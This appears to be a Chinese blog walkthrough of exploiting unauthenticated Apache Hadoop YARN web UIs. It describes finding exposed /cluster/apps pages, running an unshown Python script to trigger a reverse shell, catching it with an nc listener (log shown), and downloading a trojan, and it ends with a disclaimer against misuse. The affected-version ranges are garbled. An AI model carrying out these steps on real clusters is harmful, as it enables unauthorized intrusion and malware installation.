一个原理非常简单的漏洞
1.影响范围
2.9.0 <= Apache Hadoop <= 2.10.13.0.0-alpha <= Apache Hadoop <= 3.2.33.3.0 <= Apache Hadoop <= 3.3.3(我们是通过看hadoop 的webui里的about来看到版本信息)
2.发现方式
访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)
3.利用方式
在加害者机器(能连到受害服务器的ip机器)上面执行python脚本(用发送网络请求的方式来远程执行命令把shell弹到我们的公网服务器,这里的我们的公网服务器是要求受害者能连到我们),在公网服务器上监听脚本端口,接受受害者服务器shell,这就是整体流程。
在机器上执行:
python3 1.py https://xxx:8088
python脚本如下:

脚本中有两个ip的填写地,第一个是受害机器加8088,第二个是公网机器。然后公网机器可以监听9999也就是脚本里的端口,最后成功拿下docker里的权限目录。

4.攻击后续
很多命令都用不了,因为是dumb终端(echo $TERM可以查看)

突然发现上方的报错
root@ecs590a:~# nc -ltvp 9999
Listening on 0.0.0.0 9999
Connection received on 11.23.8.221.adsl-pool.jlccptt.net.cn 35146
bash: cannot set terminal process group (4141): Inappropriate ioctl for device
bash: no job control in this shell
<68956_0044/container_1728651168956_0044_01_000001#
然后修改脚本内容为:

重新运行攻击,然后监听得到:

修改终端类型:
export TERM=xterm
下载我们服务器的文件木马

5.免责声明
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好地维护个人信息安全、企业安全、国家安全。未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。